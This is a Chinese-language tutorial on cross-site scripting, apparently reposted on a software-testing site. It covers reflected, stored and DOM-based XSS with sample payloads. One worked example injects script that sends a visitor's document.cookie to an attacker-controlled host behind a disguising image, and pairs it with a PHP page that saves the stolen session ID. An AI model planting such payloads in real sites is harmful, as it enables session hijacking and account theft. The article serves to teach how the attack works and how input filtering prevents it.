XSS跨站脚本攻(一)

发表于:2017-7-05 11:12

字体: | 上一篇 | 下一篇 | 我要投稿

 作者:随风    来源:博客

  1、简介
  跨站脚本(cross site script)为了避免与样式css混淆,所以简称为XSS
  XSS是一种经常出现在web应用中的计算机安全漏洞,也是web中最主流的攻击方式。那么什么是XSS呢?
  XSS是指恶意攻击者利用网站没有对用户提交数据进行转义处理或者过滤不足的缺点,进而添加一些代码,嵌入到web页面中去。使别的用户访问都会执行相应的嵌入代码。
  从而盗取用户资料、利用用户身份进行某种动作或者对访问者进行病毒侵害的一种攻击方式。
  XSS攻击的危害包括:
  1、盗取各类用户帐号,如机器登录帐号、用户网银帐号、各类管理员帐号
  2、控制企业数据,包括读取、篡改、添加、删除企业敏感数据的能力
  3、盗窃企业重要的具有商业价值的资料
  4、非法转账
  5、强制发送电子邮件
  6、网站挂马
  7、控制受害者机器向其它网站发起攻击
  2、原因解析
  主要原因:过于信任客户端提交的数据!
  解决办法:不信任任何客户端提交的数据,只要是客户端提交的数据就应该先进行相应的过滤处理然后方可进行下一步的操作。
  进一步分析细节
    客户端提交的数据本来就是应用所需要的,但是恶意攻击者利用网站对客户端提交数据的信任,在数据中插入一些符号以及javascript代码,那么这些数据将会成为应用代码中的一部分了。那么攻击者就可以肆无忌惮地展开攻击啦。
    因此我们绝不可以信任任何客户端提交的数据!!!
  3、XSS攻击分类
  【了解即可,不必细究,XSS根源就是没完全过滤客户端提交的数据】
    3.1、反射型xss攻击
    又称为非持久性跨站点脚本攻击,它是最常见的类型的XSS。漏洞产生的原因是攻击者注入的数据反映在响应中。一个典型的非持久性XSS包含一个带XSS攻击向量的链接(即每次攻击需要用户的点击)。
  简单例子
  正常发送消息:
  http://www.test.com/message.php?send=Hello,World!
  接收者将会接收信息并显示Hello,Word
  非正常发送消息:
  http://www.test.com/message.php?send=<script>alert(‘foolish!’)</script>!
  接收者接收消息显示的时候将会弹出警告窗口
    3.2、存贮型xss攻击
    又称为持久型跨站点脚本,它一般发生在XSS攻击向量(一般指XSS攻击代码)存储在网站数据库,当一个页面被用户打开的时候执行。每当用户打开浏览器,脚本执行。持久的XSS相比非持久性XSS攻击危害性更大,因为每当用户打开页面,查看内容时脚本将自动执行。谷歌的orkut曾经就遭受到XSS。
  简单例子:
  从名字就可了解到存储型XSS攻击就是将攻击代码存入数据库中,然后客户端打开时就执行这些攻击代码。例如留言板
  留言板表单中的表单域:<input type=“text” name=“content” value=“这里是用户填写的数据”>
  正常操作:
  用户是提交相应留言信息;将数据存储到数据库;其他用户访问留言板,应用去数据并显示。
  非正常操作:
  攻击者在value填写<script>alert(‘foolish!’)</script>【或者html其他标签(破坏样式。。。)、一段攻击型代码】;
  将数据存储到数据库中;
  其他用户取出数据显示的时候,将会执行这些攻击性代码
    3.3、DOMBasedXSS(基于dom的跨站点脚本攻击)
    基于DOM的XSS有时也称为type0XSS。当用户能够通过交互修改浏览器页面中的DOM(DocumentObjectModel)并显示在浏览器上时,就有可能产生这种漏洞,从效果上来说它也是反射型XSS。
    通过修改页面的DOM节点形成的XSS,称之为DOMBasedXSS。
    前提是易受攻击的网站有一个HTML页面采用不安全的方式从document.location 或document.URL 或 document.referrer获取数据(或者任何其他攻击者可以修改的对象)。
  简单例子:
    1 <HTML>
   2 <TITLE>Welcome!</TITLE>
   3 Hi
   4 <SCRIPT>
   5 var pos=document.URL.indexOf("name=")+5;
   6 document.write(document.URL.substring(pos,document.URL.length));
   7 </SCRIPT>
   8 <BR>
   9 Welcome to our system
  10 …
  11 </HTML>
  这个例子是个欢迎页面,name是截取URL中get过来的name参数
  正常操作:
  http://www.vulnerable.site/welcome.html?name=Joe
  非正常操作:
  http://www.vulnerable.site/welcome.html?name=<script>alert(document.cookie)</script>
    将产生xss条件。让我们看看为什么:受害者的浏览器接收到这个链接,发送HTTP请求到www.vulnerable.site并且接受到上面的HTML页。受害者的浏览器开始解析这个HTML为DOM,DOM包含一个对象叫document,document里面有个URL属性,这个属性里填充着当前页面的URL。当解析器到达javascript代码,它会执行它并且修改你的HTML页面。倘若代码中引用了document.URL,那么,这部分字符串将会在解析时嵌入到HTML中,然后立即解析,同时,javascript代码会找到(alert(…))并且在同一个页面执行它,这就产生了xss的条件。
  注意:
    1. 恶意程序脚本在任何时候不会嵌入到处于自然状态下的HTML页面(这和其他种类的xss不太一样)。
    2.这个攻击只有在浏览器没有修改URL字符时起作用。 当url不是直接在地址栏输入,Mozilla.会自动转换在document.URL中字符<和>(转化为%3C 和 %3E),因此在就不会受到上面示例那样的攻击了,在IE6下没有转换<和>,因此他很容易受到攻击。
    当然,直接嵌入到HTML只是攻击的一个挂载点,有很多脚本不需要依赖<和>漏洞,因此Mozilla通常也是无法阻止这些攻击的。
  4、XSS攻击实例分析
    例1、简单XSS攻击
  留言类,简单注入javascript
  有个表单域:<input type=“text” name=“content” value=“这里是用户填写的数据”>
  1、假若用户填写数据为:<script>alert('foolish!')</script>(或者<script type="text/javascript" src="./xss.js"></script>)
  2、提交后将会弹出一个foolish警告窗口,接着将数据存入数据库
  3、等到别的客户端请求这个留言的时候,将数据取出显示留言时将执行攻击代码,将会显示一个foolish警告窗口。
  【将数据改成html标签进行攻击,则会将原本的样式打乱。。。。。。。。】
    例2、盗取cookie
  1、网站所在域名为www.test88.com、攻击者控制的主机www.linuxtest.com
  2、test88.com中的表单,xss.html
 1 <!DOCTYPE html>
   2 <html>
   3 <head>
   4     <title>xss攻击</title>
   5     <meta charset="utf-8">
   6 </head>
   7 <body>
   8 
   9 <form action="./test99.php" method="post">
  10 留言:<input type="text" name="content" value=""><br/>
  11 <input type="submit" name="" value='提交'>
  12 </form>
  13 <br/>留言记录:<br/>
  14 </body>
  15 </html>
  3、恶意攻击者插入相应代码
   1 <script>
  2 var Str=document.cookie;               //获取cookie
  3 var a =document.createElement('a');        //创建a标签
  4 a.href='http://www.linuxtest.com/test2.php?'+Str;   //攻击者主机
  5 a.innerHTML="<img src='./aa.jpg'>";        //掩护图片
  6 document.body.appendChild(a);              //将标签添加到页面中
  7 </script>
  4、数据(攻击代码)插入数据库
  5、攻击者控制的主机中设置接收盗取的cookie
   1 <?php
  2 header("content-type:text/html;charset=utf8");
  3 echo "你的PHPSESSID被盗啦";
  4 echo "<pre>";
  5 print_r($_GET);
  6 echo "</pre>";
  7 $cookie=$_GET['PHPSESSID'];
  8 file_put_contents('./xss.txt', $cookie);
  9 ?> 
  开始模拟测试
  1、test88.com中设置生成sessionID代码
   1 <?php
  2 session_start();
  3 $_SESSION['xss']='xssssss';
  4 echo "<pre>";
  5 print_r($_SESSION);
  6 echo "</pre>";die;
  7 ?> 
  2、客户端访问上面代码并生成自己的sessionID
  3、客户端访问xss.html
  #下面为模拟被攻击后取出数据的xss.html代码(显示数据)
 1 <!DOCTYPE html>
   2 <html>
   3 <head>
   4     <title>xss攻击</title>
   5     <meta charset="utf-8">
   6 </head>
   7 <body>
   8 <form action="./test99.php" method="post">
   9 留言:<input type="text" name="content" value=""><br/>
  10 <input type="submit" name="" value='提交'>
  11 </form>
  12 <br/>留言记录:<br/>
  13 <script>
  14 var Str=document.cookie;               //获取cookie
  15 var a =document.createElement('a');        //创建a标签
  16 a.href='http://www.linuxtest.com/test2.php?'+Str;   //攻击者主机
  17 a.innerHTML="<img src='./aa.jpg'>";        //掩护图片
  18 document.body.appendChild(a);              //将标签添加到页面中
  19 </script>
  20 </body>
  21 </html>
  
4、客户端不小心点击到图片,sessionID将被盗
  # vi xss.txt
 
 【当然这仅仅只是一个很简单的攻击,只要将数据过滤就可以避免这个攻击了,这里只是让大家了解XSS是如何进行攻击的。】
《2023软件测试行业现状调查报告》独家发布~

关注51Testing

联系我们

快捷面板 站点地图 联系我们 广告服务 关于我们 站长统计 发展历程

法律顾问:上海兰迪律师事务所 项棋律师
版权所有 上海博为峰软件技术股份有限公司 Copyright©51testing.com 2003-2024
投诉及意见反馈:webmaster@51testing.com; 业务联系:service@51testing.com 021-64471599-8017

沪ICP备05003035号

沪公网安备 31010102002173号